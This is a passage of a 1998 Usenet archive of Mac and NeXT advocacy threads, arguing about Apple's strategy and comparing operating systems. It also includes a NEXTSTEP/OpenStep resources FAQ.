Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 5 Sep 1998 22:50:06 GMT
Joe Ragosta wrote:
> > Yes, all of the above. Win98, WinNT, Linux, all of these operating
> > systems -- and only these -- are gaining market share. They are all the
> > wave of the future. Why is Apple trying to build a competitor instead of
> > building on top of the competition?
>
> Simple. If Apple tries to use NT, they'd go down in flames. You don't just
> throw away all of your company's advantages and expect to compete. As just
> another Wintel cloner, Apple would be dead in 6 months.
And the point was that Apple's advantages are not in operating systems
or in desktop computers. Apple's advantages are in software tools and
user interface. And yet, both of these advantages are rapidly
diminishing as they are neglected and the competition gains ground.
Apple *is* throwing away all of its advantages for the sake of markets
in which it cannot compete.
> BTW, you might want to check your assumptions on market share. Mac OS
> overall market share went up from Q4 1997 to Q1 1998.
Market share is compared year-over-year. Let me know when MacOS overall
market share goes up from Q1 1998 to Q1 1999.
> Q2 1998 was
> essentially flat. With the iMac, Q3 1998 is almost surely going to be
> higher and there's a good chance that Q4 1998 will be higher yet.
Sure, why not? Meanwhile the important issues are being put on the back
burner.
MJP
From: antwun@yahoo.com (vapor)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Sat, 05 Sep 1998 23:50:23 GMT
Organization: ...
Message-ID: <35f2cad3.35018678@news.alt.net>
References: <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <christian.bau-0209981357220001@christian-mac.isltd.insignia.com> <6sm7m1$p16$1@supernews.com> <6srcdn$2dl$1@nnrp1.dejanews.com> <35f54abf.2225065@news.alt.net> <no-spam-0509981559360001@10.0.1.99>
Mime-Version: 1.0
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no-spam@one.net (MojiDoji) wrote:
>In article <35f54abf.2225065@news.alt.net>, antwun@yahoo.com (vapor) wrote:
>
>> hughesojh@my-dejanews.com wrote:
>>
>> >Windoze user filth mentality:
>> >
>> >"If the computer does something dumb, why it must be MY fault".
>>
>> Yes, 9 times out of 10 that's the case.
>>
>> >
>> >A decent OS should work how you want it to.
>>
>> What OS offers the user more customization options?
>> Linux would have to be number one because the source code is
>> distributed with the OS. Win9x/NT would be second. Both allow the user
>> to freely configure almost every aspect of the OS. MacOS doesn't even
>> make the list as far as I'm concerned. You either do it Apples way or
>> you can FOAD.
>>
>> >If it doesn't, then you should be able to change it.
>>
>> Tell that to Apple.
>>
>
>I agree, Win95/NT is far more configurable than MacOS. But I think OS/2
>should be placed between Linux and Windows.
Good point, I always forget about OS/2. Dam fine OS, too bad it never
really caught on. It would be nice if Gates would climb down off his
mountain of gold and provide a scripting language standard with NT. If
your gonna bloat up a Op system you may as well toss in some useful
things. I have a buddy of mine who swears by OS/2. His tricked out
OS/2 box rivals my linux setup in functionality, but suffers in speed.
--
vapor
From: macman@rochester.rr.com (Stephen Rea)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Mail-Copies-To: macman@rochester.rr.com
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Message-ID: <macman-0509982008110001@d185d1c66.rochester.rr.com>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <gmgraves-1408981604470001@sf-pm5-17-81.dialup.slip.net> <6r3bol$7h7$1@nnrp1.dejanews.com> <gmgraves-1508981149210001@sf-usr1-23-151.dialup.slip.net> <6r5gq5$ugi$1@nnrp1.dejanews.com>
Organization: Jessi Group, Inc.
Date: Sun, 06 Sep 1998 00:04:49 GMT
NNTP-Posting-Date: Sat, 05 Sep 1998 20:04:49 EDT
In article <6r5gq5$ugi$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
> Another false claim. I bought a 8600 and Apple didn't offer me the option of
> unbundling the keyboard.
I love it.
When Apple didn't bundle a keyboard, and offered a choice of two of their
own (and numerous 3rd party) there were big complaints.
Now that Apple does bundle a keyboard (and not a bad one at that) there
are big compalints.
--
Stephen Rea
Mac System Engineer America Online SoundBytes Radio
Jessi Group, Inc. Mac Forum Consultant www.soundbytes.org
716-624-1920 AFC Rea WXXI-AM Rochester, NY
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: 6 Sep 1998 00:19:26 GMT
Organization: University of California at San Diego
Message-ID: <slrn6v3l8d.dqp.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <6s2nle$ek62@odie.mcleod.net> <6s4b24$4ht$1@inconnu.isu.edu> <6s5jh3$r0a$1@msunews.cl.msu.edu> <slrn6utnk4.a5.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35EEFBD2.24124D00@ericsson.com> <6sn26q$i33@news1.panix.com> <35F0113F.E73D5D21@ericsson.com> <slrn6v0ci7.5l3.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6spied$bkj$1@nnrp02.primenet.com>
On 4 Sep 1998 20:26:53 GMT, John Jensen <jjens@primenet.com> wrote:
:mbkennel yahoo.com <replacethiswith'@'> wrote:
:
:: They are? I don't see any evidence of that. Does Javasoft make money for
:: Sun? Does it even pay its own bills? (And who would buy from Javasoft/
:: Sunsoft without SMCC's hardware revenues supporting Sun?)
:
:I think the interesting thing is that Java helped keep Sun at the center
:of the internet. If they stopped now, without making money on Java per
:say, they would still be ahead. Java made Sun a creator of standards and
:a force to be reconned with in the '90s, and not just a has-been
:workstation company.
Oh I have no disagreement there---the point is that Sun is using the
Java ''halo'' in order to sell Sparc-based server hardware.
Someone might point out that Sun's "unique assets" lie in software
(c.f. competition with Alpha) and then conclude that Sun ought to
give up manufacturing and selling hardware---as some have suggested
that Apple do.
I think that would be disasterous. A shutdown of Sun's hardware
business would alienate all its customers, dry up all the funding for
Javasoft, sink the share price down the toilet and send all the
employees---whether in hardware or in software---looking for new employement.
I feel the same would happen should Apple pursue the same course.
Yes, even though hardware design is getting increasingly expensive and
difficult, I see no alternative.
:Stop and look for a moment at how Sun used the nature of the internet:
:
: - look, motion in a browser!
: - look, a free download!
: - look, everybody is doing it!
: - look, even MS recognizes its power!
:
:and compare that to Apple's use of the internet:
: - sorry, its NDA and we can't talk about it.
Yes, Sun, out-innovated Apple, no question. It was during Apple's Dark Ages.
(In the 80's Java would have been an Apple technology.)
Though Quicktime is not bad at all.
But now that MS has the browser on Mac and Wintel, it is in control of
Web multimedia standards, sad as that may be.
:John
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD
*
* "To chill, or to pop a cap in my dome, whoomp! there it is."
* Hamlet, Fresh Prince of Denmark.
From: macman@rochester.rr.com (Stephen Rea)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Mail-Copies-To: macman@rochester.rr.com
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Message-ID: <macman-0509982034150001@d185d1c66.rochester.rr.com>
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <35E1D93F.6F4892A4@ericsson.com> <6rsm1j$ot6@newsb.netnews.att.com> <35E1E5BD.573CEBAB@ericsson.com> <6rt08j$pfk@newsb.netnews.att.com> <35E42FDC.EA1CA4BA@ericsson.com> <gmgraves-2608981012190001@sf-usr1-19-147.dialup.slip.net> <35E45407.D5B0D1B4@ericsson.com>
Organization: Jessi Group, Inc.
Date: Sun, 06 Sep 1998 00:30:52 GMT
NNTP-Posting-Date: Sat, 05 Sep 1998 20:30:52 EDT
In article <35E45407.D5B0D1B4@ericsson.com>, Michael Peck
<Michael.Peck@ericsson.com> wrote:
> The Readme that came on the hard-disk of a
> 1996 PowerMacintosh 8500/120 straight from Apple said that the PC
> Exchange software on the machine was broken and that we should wait for
> an update from Apple.
No, it doesn't.
Is says PC exchange won't work with DOS that use STACKER or other DOS
compression utilities. There are similar cavets for a few other minor
issues (mostly involving disks with multiple partitions). It does not say
that it is broken and you have to wait for an update.
--
Stephen Rea
Mac System Engineer America Online SoundBytes Radio
Jessi Group, Inc. Mac Forum Consultant www.soundbytes.org
716-624-1920 AFC Rea WXXI-AM Rochester, NY
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: 6 Sep 1998 00:36:07 GMT
Organization: University of California at San Diego
Message-ID: <slrn6v3m7m.dqp.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <ToOp1.3341$24.19242835@news.itd.umich.edu> <6oimuj$nsq$1@news00.btx.dtag.de> <pxpst2-1607982126410001@pelli.pathology.pitt.edu> <B1D4F704-26A9A@206.165.43.134> <joe.ragosta-1807980702180001@elk58.dol.net> <6p3i97$507$1@news02.btx.dtag.de> <D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <6s5408$kc5$1@reader1.reader.news.ozemail.net> <6s6hd0$30u@news1.panix.com> <SCOTT.98Aug28130819@slave.doubleu.com> <EyK67n.7DI@T-FCN.Net> <D31B50461F33C90C.B0C9BB4EF6A49007.725D4B0B54C08000@library-proxy.airnews.net> <EyMHA5.9At@T-FCN.Net> <35EC8621.A28FBDDA@ericsson.com> <joe.ragosta-0509980657340001@elk64.dol.net> <35F277B7.A24FECD6@nstar.net>
On Sun, 06 Sep 1998 06:53:27 -0500, Michael J. Peck <mjpeck@nstar.net> wrote:
:>
:> Simple. If Apple tries to use NT, they'd go down in flames. You don't just
:> throw away all of your company's advantages and expect to compete. As just
:> another Wintel cloner, Apple would be dead in 6 months.
:
:And the point was that Apple's advantages are not in operating systems
:or in desktop computers. Apple's advantages are in software tools and
:user interface. And yet, both of these advantages are rapidly
:diminishing as they are neglected and the competition gains ground.
:Apple *is* throwing away all of its advantages for the sake of markets
:in which it cannot compete.
So what should Apple do? Become a user-interface widget package and
tool developer for NT? That does NOT work.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD
*
* "To chill, or to pop a cap in my dome, whoomp! there it is."
* Hamlet, Fresh Prince of Denmark.
From: "Todd Arneson" <s124@earthlink.net>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Sat, 5 Sep 1998 19:15:52 -0700
Organization: EarthLink Network, Inc.
Message-ID: <6ssrdr$q3u$1@ash.prod.itd.earthlink.net>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <35edc5e7.0@newsread1.dircon.co.uk> <qArH1.421$XE1.327550@newsfeed.slurp.net> <6src19$1p3$1@nnrp1.dejanews.com>
hughesojh@my-dejanews.com wrote in message
<6src19$1p3$1@nnrp1.dejanews.com>...
>Bugs:
>
>1) Typing the first letter of an icon's name doesn't work properly.
What? Explain.
>3) If you put a folder hierachy in the wastebasket, windoze forgets which
>folder each item was in.
This isn't a bug, that's how Win9x was made. By your reasoning, a car has a
bug because it can't fly. Come on...
>4) Windoze doesn't work properly, if at all, if it can see HPFS partitions.
I don't know what your talking about.....
>6) Does the fact that windoze crashes twice a day on average not suggest to
>you that there are a fair few bugs in the memory management?
HAHA! Your critizising Windows memory management????? Let me tell you, my
computer NEVER crashes... only once in a while when IE40 messes up.
>7) If windoze is soooo bug free, why does every other piece of M$ software
>replace the MSCVRT.DLL?
>Covert bug fixes?
There is no "mscvrt.dll" on my system.....
>I don't hate microsoft for just being good at marketting.
That isn't a bug...
>I don't hate them for having a monopoly.
That isn't a bug...
>I hate them because their products are the worst crap ever to crawl the
face
>of the earth.
And Apple is any better? That's funny.
------------------------------
Todd
s124@earthlink.n*et
http://home.earthlink.net/~s124/
--
AOL IM: AAPLisDUMB; eatAPPLnow; iMac Hater.
--
ICQ: 14470496
--
Flames will be cheerfully returned to
sender----3,000,000 times.
-------------------------------
From: phenix@interpath.com (John Moreno)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: Fri, 4 Sep 1998 09:53:47 -0400
Organization: phenix@interpath.com
Message-ID: <1detqbi.pz6yn07bvo30N@roxboro0-021.dyn.interpath.net>
References: <B1F737B2-78293@206.165.43.141> <joe.ragosta-1208981526060001@wil62.dol.net> <brian_hall-1308981858030001@22.markspace.com> <B1F8F3E2-30CE8@206.165.43.169> <nagleExo0yE.H1H@netcom.com> <1de0ddo.kg5qnj1ibzwr1N@roxboro0-031.dyn.interpath.net> <6rfaqa$aqg$1@nnrp1.dejanews.com> <1de2naw.1k0bg7i14dfdxlN@roxboro0-018.dyn.interpath.net> <6ricof$rpt$1@lwnws01.ne.highway1.com> <B2021373-186F9@206.165.43.14> <6rj2q7$cqc$1@nnrp1.dejanews.com> <B2026BDE-1FDB3@206.165.43.101> <6rkkda$9tt$1@nnrp1.dejanews.com> <B2032EEB-9EF58@206.165.43.27> <6rm0p9$tai$1@nnrp1.dejanews.com> <35E77CF2.BC4997CD@mindspring.com> <6s9rcf$ddo$1@nnrp1.dejanews.com> <EyKFps.25B@T-FCN.Net> <6shijn$684$1@nnrp1.dejanews.com> <Eynvox.Hx5@T-FCN.Net> <6sk34c$5si$1@nnrp1.dejanews.com> <Eyo7nz.3wt@T-FCN.Net> <6sl6h2$8qa$1@nnrp1.dejanews.com> <1deraeu.1v5e00i17gft7dN@roxboro0-046.dyn.interpath.net> <christian.bau-0309981203510001@christian-mac.isltd.insignia.com> <35ef8d3f.0@carrera>
?'D1cB]L9V=\OS(\8S,5
Mail-Copies-To: nobody
In comp.sys.next.advocacy Brian Quinlan <quinlan@intergate.bc.ca> wrote:
> Christian Bau wrote in message ...
> > User clicks
> > OS reports mouse down in menubar
> > Application sets up all the menu items, calls MenuSelect
> > MenuSelect returns "nothing selected" immediately. Menu is still up.
> > Application runs while user selects menu item.
> > User selects menu item and releases mouse.
> > OS reports fake mouse down in menubar
> > Application sets up all the menu items, calls MenuSelect again
> > MenuSelect immediately returns what the user clicked earlier.
> >
> >And of course, requiring a code change would be much cleaner. Send a new
> >AppleEvent - if the application doesnt handle it, fall back to the
> >original code, so all applications work, but new ones
>
> 1) Neither John's suggesting nor your refinement work in the case where the
> application is busy and not processing events.
> 2) Your refinement would not work if the state of the menu bar should
> logically change while the menu is still being held down.
I beg to differ - neither of my suggestions require that the app process
a event before the menu selection is returned (although there is a
question as to what to do if they make more than one selection before
the app processes the first). As for updating the menu while it is
still being held down - that too can be accommodated (although it is of
course more error prone, but probably not significantly since most
changes result from user actions, and the user can't do anything else
while holding down a menu).
> --
> Brian Quinlan
> quinlan@intergate.bc.cawork better.
Could you change that to a correct sigdash? Programs which use the
sigdash do so by looking for \n-- \n leaving off the space keeps them
from using it.
--
John Moreno
From: johnfreck@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: Sun, 06 Sep 1998 03:05:28 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6ssu5o$7mf$1@nnrp1.dejanews.com>
References: <pxpst2-1607982126410001@pelli.pathology.pitt.edu> <B1D4F704-26A9A@206.165.43.134> <joe.ragosta-1807980702180001@elk58.dol.net> <6p3i97$507$1@news02.btx.dtag.de> <D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <6s5408$kc5$1@reader1.reader.news.ozemail.net> <6s6hd0$30u@news1.panix.com> <1BE31BB8FDA18957.F7A2629239765D4E.3D7390EA0F6E4AB4@library-proxy.airnews.net> <6si9mm$sdu@news1.panix.com> <6sjj4k$2p$1@nnrp02.primenet.com> <70027AD10AB3AE99.7E5CBC282D1D90EE.0A964CEBE9E34897@library-proxy.airnews.net> <0S3I1.4021$MS.9137697@news.rdc1.sdca.home.com> <35F0D2F7.B78AF26F@yahoo.com>
To: aalto@gate.net
Apple in 10 - 20 years may have the footprint equal to Sony. This is becasue
it is not dead now, has great leadership, is attracting great talent, has
high end users in ADVERTISING, broadcasting, and film editing. Apple also
has a new product which is a big hit.
The leadership is Steve Jobs. Visionary who was formerly successful at Apple
and was forced out over issues which if the issues had gone Jobs way would
have Apple placed like Microsoft is today. Jobs has excellent contacts and
success in Hollywood. Jobs has had great success with computer games.
There is talent coming to Apple. This talent may not be focused like it was
unfocused in the 80s, but I think they are more wise and concise and presice.
There are big "PC" users who are impressive opion leaders.
The i Mac is looking great, and Apple will be a leader of the "PC" type
computer manufacture.
Other items are: Microsofts worries in aobut 10 years MAY mean very good news
for the Apple Operating System.
Apple needs a great merger which keeps it identity in tact.
JAVA~APPLE~ERICSONN
J A V A ~ A P P L E ~ E R I C S O N in strategic allaince with ATT/TCI
For the 60% of US households, lord knows how many world wide, who don't have
a PC or MAC they will move over the next 10-20 years to NOT a computer, but
rather SUPER TV which will be like todays computer monitor, and HDTV. Really
for them it isn't going to be the HD, the RAM, the computer hype. NOT that
stuff, but it will run at 400Mhz+, have great everyting by todays measures,
but the sizzle will be the SUPER TV. There are millions of households who
have spent thusands of dollars on high end TVs but nothing on computers.
Create Super TV Apple Java Ericson with help from ATT/TCI. Leave Microsoft
and IBM to business and science and engneering adn defense computing to the
comapnies which dominate there now. Marginal participation would be fine.
Apple may in 10 - 20 years be equal to Sony. Apple and Jobs should be there
for Dream Works going public.
--
FRECK
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: sanguish@digifix.com
Newsgroups: comp.sys.next.advocacy,comp.sys.next.announce,comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.bugs,comp.sys.next.programmer
Subject: NEXTSTEP/OpenStep Resources on the Net
Supersedes: <6406904449623@digifix.com>
Date: 6 Sep 1998 03:47:39 GMT
Organization: Digital Fix Development
Message-ID: <2705905054425@digifix.com>
Topics include:
Major OpenStep/NEXTSTEP World Wide Web Sites
OpenStep/NEXTSTEP/Rhapsody Related Usenet Newsgroups
Major OpenStep/NEXTSTEP FTP sites
NeXTanswers
Major OpenStep/NEXTSTEP World Wide Web Sites
============================================
The following sites are a sample of the OpenStep related WWW
sites available. A comprehensive list is available on Stepwise.
Stepwise OpenStep/Rhapsody Information Server
http://www.stepwise.com
Stepwise has been serving the OpenStep/NEXTSTEP community
since March 1994. Some of the many resources on the site
include: original YellowBox and Rhapsody articles, mailing
list information, extensive listing of FTP and WWW sites
related to Rhapsody, OpenStep and NEXTSTEP, OpenStep related
Frequently Asked Questions.
NeXT Software Archives @ Peak.org
http://www.peak.org/next
http://www.peak.org/openstep
http://www.peak.org/rhapsody
PEAK is the premier NeXTStep/OpenStep FTP site in North
America.
Apple Enterprise Software Group
(formerly NeXT Computer, Inc.)
http://enterprise.apple.com
http://enterprise.apple.com/NeXTanswers
Here is where you'll find the NeXTanswers archive, with
information on OpenStep installation, drivers and software
patches.
Apple Computer's Rhapsody Developer Release Site
http://gemma.apple.com/rhapsody/rhapdev/rhapsody.html
These pages are focused on tools and resources you need to
develop great Rhapsody software products..
Rhapsody Developer Documentation
http://gemma.apple.com/techinfo/techdocs/rhapsody/rhapsody.html
WebObjects Documentation
http://gemma.apple.com/techinfo/techdocs/enterprise/enterprise.html
OpenStep/NEXTSTEP/Rhapsody Related Usenet Newsgroups
====================================================
COMP.SYS.NEXT.ADVOCACY
This is the "why NEXTSTEP is better (or worse) than anything
else in the known universe" forum. It was created specifically
to divert lengthy flame wars from .misc.
COMP.SYS.NEXT.ANNOUNCE
Announcements of general interest to the NeXT community (new
products, FTP submissions, user group meetings, commercial
announcements etc.)
This is a moderated newsgroup, meaning that you can't post
to it directly. Submissions should be e-mailed to
next-announce@digifix.com where the moderator (Scott Anguish)
will screen them for suitability.
Messages posted to announce should NOT be posted or crossposted
to any other comp.sys.next groups.
COMP.SYS.NEXT.BUGS
A place to report verifiable bugs in NeXT-supplied software.
Material e-mailed to Bug_NeXT@NeXT.COM is not published, so
this is a place for the net community find out about problems
when they're discovered. This newsgroup has a very poor
signal/noise ratio--all too often bozos post stuff here that
really belongs someplace else. It rarely makes sense to
crosspost between this and other c.s.n.* newsgroups, but
individual reports may be germane to certain non-NeXT-specific
groups as well.
COMP.SYS.NEXT.HARDWARE
Discussions about NeXT-label hardware and compatible peripherals,
and non-NeXT-produced hardware (e.g. Intel) that is compatible
with NEXTSTEP. In most cases, questions about Intel hardware
are better asked in comp.sys.ibm.pc.hardware. Questions about
SCSI devices belong in comp.periphs.scsi. This isn't the place
to buy or sell used NeXTs--that's what .marketplace is for.
COMP.SYS.NEXT.MARKETPLACE
NeXT stuff for sale/wanted. Material posted here must not be
crossposted to any other c.s.n.* newsgroup, but may be
crossposted to misc.forsale.computers.workstation or appropriate
regional newsgroups.
COMP.SYS.NEXT.MISC
For stuff that doesn't fit anywhere else. Anything you post
here by definition doesn't belong anywhere else in c.s.n.*--i.e.
no crossposting!!!
COMP.SYS.NEXT.PROGRAMMER
Questions and discussions of interest to NEXTSTEP programmers.
This is primarily a forum for advanced technical material.
Generic UNIX questions belong elsewhere (comp.unix.questions),
although specific questions about NeXT's implementation or
porting issues are appropriate here. Note that there are
several other more "horizontal" newsgroups (comp.lang.objective-c,
comp.lang.postscript, comp.os.mach, comp.protocols.tcp-ip,
etc.) that may also be of interest.
COMP.SYS.NEXT.SOFTWARE
This is a place to talk about [third party] software products
that run on NEXTSTEP systems.
COMP.SYS.NEXT.SYSADMIN
Stuff relating to NeXT system administration issues; in rare
cases this will spill over into .programmer or .software.
** RELATED NEWSGROUPS **
COMP.SOFT-SYS.NEXTSTEP
Like comp.sys.next.software and comp.sys.next.misc combined.
Exists because NeXT is a software-only company now, and
comp.soft-sys is for discussion of software systems with scope
similar to NEXTSTEP.
COMP.LANG.OBJECTIVE-C
Technical talk about the Objective-C language. Implemetations
discussed include NeXT, Gnu, Stepstone, etc.
COMP.OBJECT
Technical talk about OOP in general. Lots of C++ discussion,
but NeXT and Objective-C get quite a bit of attention. At
times gets almost philosophical about objects, but then again
OOP allows one to be a programmer/philosopher. (The original
comp.sys.next no longer exists--do not attempt to post to
it.)
Exception to the crossposting restrictions: announcements
of usenet RFDs or CFVs, when made by the news.announce.newgroups
moderator, may be simultaneously crossposted to all c.s.n.*
newsgroups.
Getting the Newsgroups without getting News
===========================================
Thanks to Michael Ross at antigone.com, the main NEXTSTEP groups
are now available as a mailing list digest as well.
next-nextstep
next-advocacy
next-announce
next-bugs
next-hardware
next-marketplace
next-misc
next-programmer
next-software
next-sysadmin
object
lang-objective-c
(For a full description, send mail to listserv@antigone.com).
The subscription syntax is essentially the same as Majordomo's.
To subscribe, send a message to *-request@lists.best.com saying:
subscribe
where * is the name of the list
e.g. next-programmer-request@lists.best.com
Major OpenStep/NEXTSTEP FTP sites
=================================
ftp://ftp.next.peak.org
The main site for North American submissions formerly
ftp.cs.orst.edu
ftp://ftp.peanuts.org:
(Peanuts) Located in Germany. Comprehensive archive site.
Very well maintained.
ftp://ftp.nluug.nl/pub/comp/next
NeGeN/NiNe (NEXTSTEP Gebruikers Nederland/NeXTSTEP in the Netherlands)
ftp://cube.sm.dsi.unimi.it
(Italian NEXTSTEP User Group)
ftp://ftp.nmr.embl-heidelberg.de/pub/next
eduStep
ftp://ftp.next.com:
See below
ftp.next.com and NextAnswers@next.com
=====================================
[from the document ftp://ftp.next.com/pub/NeXTanswers/1000_Help]
Welcome to the NeXTanswers information retrieval system!
This system allows you to request online technical documents, drivers, and
other software, which are then sent to you automatically. You can request
documents by fax or Internet electronic mail, read them on the world-wide
web, transfer them by anonymous ftp, or download them from the BBS.
NeXTanswers is an automated retrieval system. Requests sent to it are
answered electronically, and are not read or handled by a human being.
NeXTanswers does not answer your questions or forward your requests.
USING NEXTANSWERS BY E-MAIL
To use NeXTanswers by Internet e-mail, send requests to
nextanswers@next.com. Files are sent as NeXTmail attachments by
default; you can request they be sent as ASCII text files instead.
To request a file, include that file's ID number in the Subject line or the
body of the message. You can request several files in a single message.
You can also include commands in the Subject line or the body of the message.
These commands affect the way that files you request are sent:
ASCII causes the requested files to be sent as ASCII text
SPLIT splits large files into 95KB chunks, using the MIME
Message/Partial specification
REPLY-TO address sets the e-mail address NeXTanswers uses
These commands return information about the NeXTanswers system:
HELP returns this help file
INDEX returns the list of all available files
INDEX BY DATE returns the list of files, sorted newest to oldest
SEARCH keywords lists all files that contain all the keywords you list
(ignoring capitalization)
For example, a message with the following Subject line requests
three files:
Subject: 2101 2234 1109
A message with this body requests the same three files be
sent as ASCII text files:
2101 2234 1109 ascii
This message requests two lists of files, one for each search:
Subject:
SEARCH Dell SCSI
SEARCH NetInfo domain
NeXTanswers will reply to the address in your From: line. To use a different
address either set your Reply-To: line, or use the NeXTanswers command
REPLY-TO
If you have any problem with the system or suggestions for improvement,
please send mail to nextanswers-request@next.com.
USING NEXTANSWERS BY FAX
To use NeXTanswers by fax, call (415) 780-3990 from a touch-tone phone and
follow the instructions. You'll be asked for your fax number, a number to
identify your fax (like your phone extension or office number), and the ID
numbers of the files you want. You can also request a list of available
files. When you finish entering the file numbers, end the call and the
files will be faxed to you.
If you have problems using this fax system, please call Technical Support
at 1-800-848-6398. You cannot use the fax system outside the U.S & Canada.
USING NEXTANSWERS VIA THE WORLD-WIDE WEB
To use NeXTanswers via the Internet World-Wide Web connect to NeXT's web
server at URL http://www.next.com.
USING NEXTANSWERS BY ANONYMOUS FTP
To use NeXTanswers by Internet anonymous FTP, connect to FTP.NEXT.COM
and read the help file pub/NeXTanswers/README. If you have problems using
this, please send mail to nextanswers-request@next.com.
USING NEXTANSWERS BY MODEM
To use NeXTanswers via modem call the NeXTanswers BBS at (415) 780-2965.
Log in as the user "guest", and enter the Files section. From there you
can download NeXTanswers documents.
FOR MORE HELP...
If you need technical support for NEXTSTEP beyond the information available
from NeXTanswers, call the Support Hotline at 1-800-955-NeXT (outside the U.S.
call +1-415-424-8500) to speak to a NEXTSTEP Technical Support Technician.
If your site has a NeXT support contract, your site's support contact must
make this call to the hotline. Otherwise, hotline support is on a
pay-per-call basis.
Thanks for using NeXTanswers!
_________________________________________________________________
Written by:
Eric P. Scott ( eps@toaster.SFSU.EDU ) and
Scott Anguish ( sanguish@digifix.com )
Additions from:
Greg Anderson ( Greg_Anderson@afs.com )
Michael Pizolato ( alf@epix.net )
Dan Grillo ( dan_grillo@next.com )
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 5 Sep 98 21:42:44 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B21760D8-A78A@206.165.43.97>
References: <*johnnyc*-0509981018140001@jchristie.halifaxcable.dal.ca>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
John Christie <*johnnyc*@or.psychology.dal.ca> said:
>In article <B2158A70-C061C@206.165.43.164>, "Lawson English"
><english@primenet.com> wrote:
>
>> No-one is stopping you from using the Yellow Box. The only reason why I
>am
>> doing GXFCN using the obsolete GX API is because
>
> Well, Apple is stopping alot of people from experimenting with YB by
>requiring they pony up $500.
> BTW, anyone here about the YB programming contest put on by Apple
>Germany?
$500???
Is that a solid figure or are you just guessing?
If it is solid, how can Apple expect anyone to take them seriously about
using YB to do ANY applications programming?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Sun, 06 Sep 1998 05:31:08 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6st6ms$hoa$1@nnrp1.dejanews.com>
